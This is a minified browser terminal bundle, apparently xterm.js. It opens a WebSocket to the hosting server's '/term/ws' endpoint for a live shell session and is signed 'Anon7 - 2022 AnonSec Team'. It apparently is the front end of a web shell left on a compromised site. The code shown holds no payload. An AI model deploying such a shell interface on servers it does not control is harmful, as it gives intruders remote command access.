this._core.getSelectionPosition()}clearSelection(){this._core.clearSelection()}selectAll(){this._core.selectAll()}selectLines(e,t){this._verifyIntegers(e,t),this._core.selectLines(e,t)}dispose(){super.dispose()}scrollLines(e){this._verifyIntegers(e),this._core.scrollLines(e)}scrollPages(e){this._verifyIntegers(e),this._core.scrollPages(e)}scrollToTop(){this._core.scrollToTop()}scrollToBottom(){this._core.scrollToBottom()}scrollToLine(e){this._verifyIntegers(e),this._core.scrollToLine(e)}clear(){this._core.clear()}write(e,t){this._core.write(e,t)}writeln(e,t){this._core.write(e),this._core.write("\r\n",t)}paste(e){this._core.paste(e)}refresh(e,t){this._verifyIntegers(e,t),this._core.refresh(e,t)}reset(){this._core.reset()}clearTextureAtlas(){this._core.clearTextureAtlas()}loadAddon(e){this._addonManager.loadAddon(this,e)}static get strings(){return t}_verifyIntegers(...e){for(const t of e)if(t===1/0||isNaN(t)||t%1!=0)throw new Error("This API only accepts integers")}_verifyPositiveIntegers(...e){for(const t of e)if(t&&(t===1/0||isNaN(t)||t%1!=0||t<0))throw new Error("This API only accepts positive integers")}}e.Terminal=d})(),s})(),e.exports=t()}},t={};function i(s){var r=t[s];if(void 0!==r)return r.exports;var n=t[s]={id:s,exports:{}};return e[s].call(n.exports,n,n.exports,i),n.exports}i.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return i.d(t,{a:t}),t},i.d=(e,t)=>{for(var s in t)i.o(t,s)&&!i.o(e,s)&&Object.defineProperty(e,s,{enumerable:!0,get:t[s]})},i.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),i.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),i.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.nc=void 0,(()=>{"use strict";i(624),i(964),i(85),i(829);var e=i(975),t=i(727),s=i(195),r=i(875);(new(function(){function i(){this.addons={weblink:new t.WebLinksAddon,fit:new s.FitAddon,attach:null},this.term=null,this.socket=null}return i.prototype.createTerminal=function(i){for(var r=this,n=document.getElementById(i);n.children.length;)n.removeChild(n.children[0]);var o=["Windows","Win16","Win32","WinCE"].indexOf(navigator.platform)>=0;if(this.term=new e.Terminal({windowsMode:o}),this.addons.weblink=new t.WebLinksAddon,this.term.loadAddon(this.addons.weblink),this.addons.fit=new s.FitAddon,this.term.loadAddon(this.addons.fit),"https:"!==location.protocol&&"/demo"!==location.pathname)return n.innerHTML='Protocol is not secure: "<h1>'.concat(location.protocol,'"!</h1>'),null;var a=("https:"!==location.protocol?"ws://":"wss://")+location.hostname+(location.port?":"+location.port:"")+"/term/ws";this.term.open(n),this.term.onResize((function(e){r.sendResizeCommand(e)})),this.term.element.style.padding="4px",this.addons.fit.fit(),this.term.focus(),setTimeout((function(){r.addons.fit.fit(),r.socket=new WebSocket(a),r.socket.onopen=r.runRealTerminal.bind(r),r.socket.onclose=r.runFakeTerminal.bind(r),r.socket.onerror=r.reloadPage.bind(r),window.onresize=function(){r.addons.fit.fit(),r.term.focus()}}),0)},i.prototype.sendResizeCommand=function(e){if(this.socket){for(var t=JSON.stringify({resize:e}),i=new Uint8Array(t.length),s=0;s<t.length;s+=1)i[s]=t.charCodeAt(s);this.socket.send(i)}},i.prototype.runRealTerminal=function(){this.addons.attach=new r.AttachAddon(this.socket),this.term.loadAddon(this.addons.attach),this.addons.fit.fit(),this.sendResizeCommand({cols:this.term.cols,rows:this.term.rows})},i.prototype.runFakeTerminal=function(){this.term.write("\r\nConnection closed.\r\n")},i.prototype.reloadPage=function(){location.reload()},i}())).createTerminal("terminal-container")})()})();
*

Anon7 - 2022
AnonSec Team